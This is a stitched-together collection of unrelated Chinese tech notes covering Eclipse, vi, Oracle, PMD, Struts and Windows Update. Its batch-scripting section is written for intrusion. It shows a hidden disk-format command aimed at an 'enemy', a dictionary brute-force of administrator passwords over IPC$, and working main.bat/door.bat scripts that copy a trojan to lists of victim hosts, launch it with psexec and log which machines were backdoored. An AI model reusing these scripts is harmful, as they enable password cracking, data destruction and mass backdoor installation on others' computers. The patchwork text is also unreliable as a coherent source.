D:\eclipse\eclipse.exe -nl "zh" 将eclipse显示为中文版
D:\eclipse\eclipse.exe -nl "en" 将eclipse显示为英文版
D:\eclipse\eclipse.exe -nl "ja" 将eclipse显示为日文版
-vmargs -Xmx512M 添加Eclipse的虚拟内存,将其设置为512M,默认的大概是256。这个尤其在使用类似SDE这样的比较大的Eclipse应用工具的时候用的比较多。
GATES: We went to China for a lot of reasons. Partly to relax and have fun. We found a few McDonald's there, so we didn't feel too far away from home. It was also exciting to go and see all the changes taking place, to see different parts of the country, and to meet some of the leaders.
China is a market that Microsoft had already been investing in. We've upped that a lot since then. As a percentage of our sales, though, it's tiny--well under 1%--and so even though it will double every year for the next five years, it's really only by taking a ten-year view that we can say it's worth the emphasis we're putting on it.
Although about three million computers get sold every year in China, people don't pay for the software. Someday they will, though. And as long as they're going to steal it, we want them to steal ours. They'll get sort of addicted, and then we'll somehow figure out how to collect sometime in the next decade.
中文互联网上流传的最广泛的翻译(上面最后一小段):
尽管在中国每年有大约300万台电脑被售出,中国人却不会为软件付钱,不过总有一天他们会的。既然他们想要去偷,我们想让他们偷我们的。他们会因此上瘾,这样接下来的10年我们就会找出某种办法让他们付账。
vi(Visual)是以视觉为导向的全屏幕编辑器。
共分为三种方式(mode):
command方式:
任何输入都会作为编辑命令,而不会出现在屏幕上,若输入错误则有“岬”的声音;任何输入都引起立即反映
insert方式:
任何输入的数据都置于编辑寄存器。在command方式下输入(I,a,A等),可进入insert方式, insert方式下按ESC,可跳回command方式。
escape方式:
以“:”或者“/”为前导的指令,出现在屏幕的最下一行,任何输入都被当成特别指令。
-------------------------------------------:mrgreen:
进入vi(在系统提示符下面输入以下指令):
vi 进入vi而不读入任何文件
vi filename 进入vi并读入指定名称的文件(新、旧文件均可)。
vi +n filename 进入vi并且由文件的第几行开始。
vi +filename 进入vi并且由文件的最后一行开始。
vi + /word filename 进入vi并且由文件的word这个字开始。
vi filename(s) 进入vi并且将各指定文件列入名单内,第一个文件先读入。
vedit 进入vi并且在输入方式时会在状态行显示“INSERT MODE”。
编辑数个文件(利用vi filename(s))进入vi后)
:args 显示编辑名单中的各个文件名
:n 读入编辑名单中的下一个文件
:rew 读入编辑名单中的第一个文件
:e# 读入编辑名单内的前一个文件
:e file 读入另一个文件进vi(此文件可不在编辑名单内),若原文件经修改还没有存档,则 应先以: w 存档。
:e! file 强迫读入另一个文件进入vi,原文件不作存档动作。
<<<存储及退出vi>>>
:w filename 存入指定文件,但未退出vi(若未指定文件名则为当前工作的文件名)。
:wq 或者 :x或者zz 存文件,并且退出vi.
:q 不作任何修改并退出vi。
:q! 放弃任何修改并退出vi。
:!command 暂时退出vi并执行shell指令,执行完毕后再回到vi。
:sh 暂时退出vi到系统下,结束时按Ctrl + d则回到vi。
<<<加数据指令>>>
i 在光标位置开始插入字符,结束时候按ESC键。
I 在光标所在行的最前面开始加字,结束时按ESC键。
a 在光标位置后开始加字,结束时按ESC键。
A 在光标所在行的最后面开始加字,结束时按ESC键。
o 在光标下加一空白行并开始加字,结束时按ESC键。
O 在光标上加一空白行并开始加字,结束时按ESC键。
!command 执行shell指令,并把结果加在光标所在行的下一行。
<<<删除指令>>>
nx 删除由光标位置起始的n个字符(含光标位置,按一个x表示删除光标所在的字符)
nX 删除由光标位置起始的n个字符(不含光标位置)。
ndw 删除光标位置其实的n个字符组(word)。
d0 将行的开始到光标位置的字符全部删除。
d$ 或D 将光标位置起始到行尾的字符全部删除。
ndd 将光标位置起始的n行(整行)删除(dd表示删除光标所在行)。
:start,endd 删除文件的第start到end行。
<<<关标移动>>>
0 移到一行的开始
$ 移到一行的最后
[ 移到文件开始位置
] 移到文件结束位置
nh 往左移n位
nl或者spacebar 往右移n位
nk 向上移n行
n+ 向上移n行,光标在该行的起始
ni 向下移n行
n- 向下移n行,光标在该行的起始
H 移到屏幕的左上角
M 移到屏幕的中间行开头
L 移到屏幕的最后一行
G 移到文件的最后一行
nG或者:n 移到文件的第n行
nw 右移n个字组,标点符号属于字组
nW 右移n个字组,标点符号不属于字组
nb 左移n个字组,标点符号属于字组
nB 左移n个字组,标点符号不属于字组
Ctrl + u 屏幕上卷半个菜单
Ctrl + d 屏幕下卷半个菜单
Ctrl + b 屏幕上卷一个菜单
Ctrl + F 屏幕下卷一个菜单
<<<修改指令>>>
r 修改光标文件的字符
R 从光标位置开始修改,结束时按ESC键
new 更改n组字符,结束时按ESC键
ncc 从光标所在位置开始更改n行,结束时按ESC键
<<<重排各行长度>>>
i 并按Enter将该行由光标所在处断开,并进入insert方式
J 把下一行的数据连接到本行之后
<<<寻找指令>>>
/text 从光标位置往下找字串text
?text 从光标位置往上找字串text
n 继续找下一个字串(在输入上面的寻找指令之后使用)
<<<寻找并且取代指令>>>
:getxt1/s/ /text2/options 将各行的text1替换为text2
option=g表示文件中所有的text1均被取代,若未输入任何option,则只有各行中的第一个出现的text1被取代option=go 在屏幕显示各取代的行
option=gc 在每个字串取代之前要求
<<<确认>>>
Start,endgtext1/s/ / text2/options 同上,只寻找并取代第start~end行。
或:Start,ends/text1/text2/options
<<<复制及移动文件>>>
:first,last co dest 将first 到last行的数据复制到目标行(dest)下面
:Start,end m dest 将start 到 end行的数据移动到目标行(dest)下。
:r filename 将指定文件的内容读入光标所在行下。
nY 将光标所在位置开始的n行数据暂存
p 复制暂存数据在光标的下一行
P 复制暂存数据在光标的上一行
<<<其他命令>>>
. 重复前一指令
u 取消前一指令
Ctrl + l 刷新屏幕显示
:set number 显示文件的行号,但不会存文件
:set nonumber 解除行号显示
:set ai 设置每行起始位置(以光标当前位置为起始)
:set noai 取消行起始位置设定
:f 或
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究。
软件开发,共有N个工作人员。
1,问,共有多少个相互交流的接口?
答案:[N(2次方)-N]/2。
2,问,有多少个可以合作的潜在团队?
答案:[2(N次方)-1]个。
================================
为什么要做这个算式?提高开发效率,必定要限制交流接口,安排合理的合作团队。而这个,同时是限制开发人员成为业务人员的瓶口。
例:
在当前Windows系统下装了一个VMware工具,在这个VMware下装了一个Linux,名字为Centos46,Linux虚拟机的IP地址是:192.168.2.101。
需求:在Windows这边通过IE浏览器来访问Linux端Oracle的OEM。
首先,进入Oracle用户,看一下控制台启动没有:
emctl status dbconsole
如果没启动
emctl start dbconsole
看看端口信息:
cat $ORACLE_HOME/install/portlist.ini
最后就可以访问了。http://192.168.2.101:1158/em/
注:必须用IP,用计算机名不行,比如Linux的计算机名是Centos46,这个在Windows端不认。
————————————
解决oracle10g安装后的中文显示乱码
1. 改变$ORACLE_HOME/jdk目录下的jre的默认字体
cd $ORACLE_HOME/jdk/jre/lib/
ls font*zh_CN*
font.properties是默认使用的字体
还可以看到font.properties.zh_CN.Redhat8.0和其它的字体
cp font.properties font.properties.bak
cp font.properties.zh_CN.Redhat8.0 font.properties
2. 改变$ORACLE_HOME/jre下的默认字体
cd $ORACLE_HOME/jre/1.4.2/lib/
ls font*zh_CN*
font.properties是默认使用的字体
还可以看到font.properties.zh_CN.Redhat8.0和其它的字体
cp font.properties font.properties.bak
cp font.properties.zh_CN.Redhat8.0 font.properties
3.删除Cache下的gif文件(em页面中用到),注意不要删错目录
cd $ORACLE_HOME/oc4j/j2ee/oc4j_applications/applications/em/em/cabo/images/cache/zhs/
ls *.gif
rm -f *.gif
4. 重新启动EM服务
cd $ORACLE_HOME/bin/
./emctl stop dbconsole
./emctl start dbconsole
好可以进入em web页面看看是否中文不再是 "□□"字样的乱码了
PMD 包含 16 个规则集,涵盖了 Java 的各种常见问题,其中一些规则要比其他规则更有争议:
基本(rulesets/basic.xml)—— 规则的一个基本合集,可能大多数开发人员都不认同它: catch 块不该为空,无论何时重写 equals(),都要重写 hashCode(),等等。
命名(rulesets/naming.xml)—— 对标准 Java 命令规范的测试:变量名称不应太短;方法名称不应过长;类名称应当以小写字母开头;方法和字段名应当以小写字母开头,等等。
未使用的代码(rulesets/unusedcode.xml)—— 查找从未使用的私有字段和本地变量、执行不到的语句、从未调用的私有方法,等等。
设计(rulesets/design.xml)—— 检查各种设计良好的原则,例如: switch 语句应当有 default 块,应当避免深度嵌套的 if 块,不应当给参数重新赋值,不应该对 double 值进行相等比较。
导入语句(rulesets/imports.xml)—— 检查 import 语句的问题,比如同一个类被导入两次或者被导入 java.lang 的类中。
JUnit 测试(rulesets/junit.xml)—— 查找测试用例和测试方法的特定问题,例如方法名称的正确拼写,以及 suite() 方法是不是 static 和 public。
字符串(rulesets/string.xml)—— 找出处理字符串时遇到的常见问题,例如重复的字符串标量,调用 String 构造函数,对 String 变量调用 toString() 方法。
括号(rulesets/braces.xml)—— 检查 for、 if、 while 和 else 语句是否使用了括号。
代码尺寸(rulesets/codesize.xml)—— 测试过长的方法、有太多方法的类以及重构方面的类似问题。
Javabean(rulesets/javabeans.xml)—— 查看 JavaBean 组件是否违反 JavaBean 编码规范,比如没有序列化的 bean 类。
终结函数(finalizer)—— 因为在Java语言中,finalize()方法不是那么普遍(我上次编写这个代码也经是好多年前的事了),所以它们的使用规则虽然很详细,但是人们对它们相对不是很熟悉。这类检查查找 finalize() 方法的各种问题,例如空的终结函数,调用其他方法的 finalize() 方法,对 finalize() 的显式调用,等等。
克隆(rulesets/clone.xml)—— 用于 clone() 方法的新规则。凡是重写 clone() 方法的类都必须实现Cloneable,clone()方法应该调用super.clone(),而 clone()方法应该声明抛出 CloneNotSupportedException 异常,即使实际上没有抛出异常,也要如此。
耦合(rulesets/coupling.xml)—— 查找类之间过度耦合的迹象,比如导入内容太多;在超类型或接口就已经够用的时候使用子类的类型;类中的字段、变量和返回类型过多等。
严格的异常(rulesets/strictexception.xml)—— 针对异常的测试:不应该声明该方法而抛出 java.lang.Exception异常,不应当将异常用于流控制,不应该捕获 Throwable,等等。
有争议的(rulesets/controversial.xml)—— PMD 的有些规则是有能力的Java程序员可以接受的。但还是有一些争议。这个规则集包含一些更有问题的检验,其中包括把null赋值给变量、方法中有多个返回点,以及从 sun 包导入等。
日志(rulesets/logging-java.xml)—— 查找 java.util.logging.Logger 的不当使用,包括非终状态(nonfinal)、非静态的记录器,以及在一个类中有多个记录器。
1,查看当前过程和函数的对象名,创建时间和状态。
select object_name,created,status from user_objects where object_type in ('PROCEDURE','FUNCTION');
2,列出子程序源代码。
select text from user_source where name = 'RAISE_SALARY';
3,列出子程序编译错误。
1)使用SHOW ERRORS命令查错:
show errors procedure raise_salary
2)使用数据字典视图USER_ERRORS确定错误原因和位置:
select line ||'/'||position as "LINE/COL",text error from user_errors where name = 'RAISE_SALARY';
4,列出对象依赖关系。
1)使用user_dependencies确定直接依赖关系。
select name,type from user_dependencies where referenced_name = 'EMP';
2)使用工具视图DEPTREE和IDEPTREE确定直接依赖和间接依赖关系。
运行系统SQL脚本。
SQL>@%oracle_home%\rdbms\admin\utldtree
SQL>exec deptree_fill('TABLE','SCOTT','EMP')
SQL>select nested_level,name,type from deptree;
5,从新编译子程序。
当修改了被引用对象的结构时,就会将相关依赖对象转变为无效。
SQL> alter table emp add remark varchar2(100);
SQL> select object_name,object_type from user_objects where status = 'INVALID';
为了避免子程序的运行错误,因该重新编译这些存储对象。
SQL> ALTER PROCEDURE add_employee COMPILE;
SQL> ALTER VIEW dept10 COMPILE;
SQL> ALTER FUNCTION get_info COMPILE;
/**Action类
Struts1要求Action类继承一个抽象类,Struts1使用抽象类编程而不是接口
Struts2可以实现Action接口也可以不实现,Struts2提供一个ActionSuport基类去实现常用接口。Action接口不是必须的,任何有execute的标识的POJO都有可能成为struts2的Action的对象
/**线程模式
Struts1的Action是单例模式并且是线程安全的,仅有Action一个实例来处理所有请求。单策略模式限制了Struts1 Action能做的事。比且在开发时要注意Action资源必须是线程安全比且是同步的。
Struts2的Action对象为每个请求产生一个实例,因此没有线程安全问题。
/**Servlet依赖
Struts1 Action依赖与Servlet API,因为当一个Action被调用时HttpServletRequest和HttpServletResponse被传递给execute方法。
Struts2 Action不依赖与容器,允许Action脱离容器被单独测试。如果需要,struts2依然可以访问初始的request和response。但是,其他的元素减少或者消除了直接访问HttpServletRequest和HttpServletResponse的必要性。
/**可测性:
测试Struts1 Action的一个主要问题是execute方法暴漏了Servlet API(这使得测试要依赖于容器)。一个第三方扩展--Struts TestCase--提供了一套Struts1的模拟对象(来进行测试)
struts2 Action可以通过初始化、设置属性、调用方法来测试,“依赖注入”支持也使测试更容易。
/**捕获输入:
struts1使用ActionForm对象捕获输入。所有ActionForm必须继承一个基类。因为其他JavaBean不能用作ActionForm,开发者经常创建多余的基类不或输入。动态Bean(DynaBeans)可以作为创建传统ActionForm的选择,但是,开发者可能是在重新描述(创建)已经存在的JavaBean(仍然会导致有沉余的JavaBean)。
Struts2直接使用Acrtion属性作为输入属性,消除了对第二个输入对象的请求。输入属性可能是有自己(子)属性的Rich对象类型。Action属性能过通过web页面上的Taglibs访问。struts2也支持ActionForm模式。Richard对象类型,包括业务对象,能够用作输入/输出对象。这种ModelDriven特性简化了Taglib对POJO输入对象的引用。
/**表达式语言
Struts1整合了JSTL,因此使用JSTL EL。这种EL有基本对象图遍历,但是对集合和索引属性的支持很脆弱。
Struts2可以使用JSTL,但是也支持一个更强大和灵活的表达式语言--“object graph Notation Language”(OGNL)
/**绑定值到页面(view)
Struts1使用标准JSP机制吧对象绑定到页面中来访问。
struts2使用ValueStack技术,使taglib能够访问值而不需要把你的页面(view)和对象绑定起来。ValueStack策略允许通过一系列名称相同但类型不同的属性重同页面(view)
/**类型转换
Struts1 ActionForm属性通常都是String类型。struts1使用Commons-Beanutils进行类型转换。每个类一个转换器,对每一个实例来说是不可配置的。
struts2 使用OGNL进行类型转换,提供基本和常用对象的转换器。
/**效验
Struts1支持在ActionForm的validate方法中手动效验,或者通过Commons Validator的扩展来效验。同一个类可以有不同的效验内容,但不能效验子对象。
Struts2支持通过validate方法和XWork效验框架进行效验。XWork效验框架使用为属性类类型定义的效验和内容效验,来支持Chain效验子属性。
/**Action执行的控制
Struts1支持每一个模块有单独的Request Processors(生命周期),但是模块中的所有Action必须共享相同的生命周期。
struts2支持通过拦截器堆栈(Interceptor Stacks)为每一个Action创建不能的生命周期。堆栈能够根据需要和不同的Action一起使用。
设置列宽和长度
SQL> set linesize 300
SQL> set pagesize 100
将所有列的显示属性设为缺省值
SQL> CLEAR COLUMNS
Oracle自带的函数不少。有很多很有用。下面找两个关于查看字符集和ascii码的函数。
1,查看字符a和A的ascii码。
select ascii('a') "a",ascii('A') "A" from dual;
a A
---------- ----------
97 65
2,查看ascii码65和97的对应的字符。
select chr(65),chr(97) from dual;
C C
- -
A a
1,查看nls_date_language当前值。这个跟一些函数有关系,比如日期类型什么的。
select * from nls_database_parameters where parameter=UPPER('nls_date_language');
2,改变当前会话的nls_date_language。
alter session set nls_date_language='simplified chinese';
朋友现场要做PL/SQL的DEBUG,工具选择了PL/SQL Developer,回家后跟我说不行,一DEBUG就出错,我刚开始以为是工具的问题,哪里出了毛病。这几天一直玩Oracle SQL Developer,就推荐朋友用这个工具试试。
但是,我也没有用过Oracle SQL Developer做过PL/SQL的DEBUG,只记得这个工具提供了这个功能。于是一起推敲了一下。用SCOTT用户连接到了数据库,做了一个Procedure,一DEBUG的时候(就点那个小虫子),就提示一条信息:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_DEBUG_JDWP", line 68
ORA-06512: at line 1
This session requires DEBUG CONNECT SESSION and DEBUG ANY PROCEDURE user privileges.
Process exited.
刚开始一直忽视这个消息,后来实在憋得不行了,去网上查了查,找到了答案,原来SCOTT用户权限不够,没有DEBUG的权限。朋友的现场出现的状况和这个一样,原来根本就不是工具的问题(哪里会是工具的问题呢?呵呵)。解决方案如下:
◆Connect to the default database as SYSTEM.
◆Run "GRANT debug any procedure, debug connect session TO SCOTT;".
◆Re-connect to the default database as SCOTT.
之后不用说,用SCOTT用户去尽情的DEBUG吧。
desc emp;
Name                                            Null?            Type
----------------------------------------- -------- ----------------------------
EMPNO                              NOT NULL  NUMBER(4)
ENAME                                    VARCHAR2(10)
JOB                                    VARCHAR2(9)
MGR                                    NUMBER(4)
HIREDATE                                    DATE
SAL                                    NUMBER(7,2)
COMM                                    NUMBER(7,2)
DEPTNO                                    NUMBER(2)
既要显示部门的平均工资,也要显示岗位的平均工资。那么可以使用GROUPING SET函数。
SQL> select deptno,job,avg(sal) from emp group by grouping sets(deptno,job);
DEPTNO JOB AVG(SAL)
---------- --------- ----------
CLERK 1037.5
SALESMAN 1400
PRESIDENT 5000
MANAGER 2758.33333
ANALYST 3000
30 1566.66667
20 2175
10 2916.66667
8 rows selected.
在Oracle中,可以执行顺序事务来使得用户能够取得特定时间点的数据。
当然,用只读事务(SET TRANSACTION READ ONLY;)也可以达到同样的目的,但是使用只读事务后,当前会话将不能执行INSERT/UDDATE/DELETE语句。为了能够取得特定时间点的数据并且要求同样能够使用DML语句,就可以使用顺序事务。
示例如下:
当前存在两个回话:会话A和会话B。执行顺序如下所示。
会话A:
①SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
②select losal from salgrade where grade = '1';(结果:1100)
回话B:
①update salgrade set losal = '1200' where grade = '1';
②commit;
会话A:
③select losal from salgrade where grade = '1';(结果:1100)
④update salgrade set losal = '1200' where grade = '2';(结果:执行成功)
⑤update salgrade set losal = '1300' where grade = '1';(结果:执行失败)
★当设置事务顺序时,该语句必须是事务开始的第一条语句。
安装Oracle的时候,系统检测时很可能会提示没有发现libaio的问题,不要以为系统已经安装好了,只是版本不同而已,这个想法是错误的。这个时候而是确确实实需要手动的把这个包给安装上。安装系统本身的libaio包就可以,不需要安装和提示一样的版本也可以。
如果不安装的话,在稍后的运行dbca(建库)的时候,会出现【ORA-12547: TNS:lost contact】的错误。这个错误不能忽视,否则会导致数据库安装不成功。
Windows Update SP3升级后一些更新无法安装更新了。使用以下的命令可以修复这个问题。
%Windir%\system32\net.exe stop bits
%Windir%\system32\net.exe stop wuauserv
%Windir%\system32\regsvr32.exe %Windir%\system32\atl.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\jscript.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\msxml3.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\softpub.dll
%Windir%\system32\regsvr32.exe %Windir%\system32\wuapi.dll
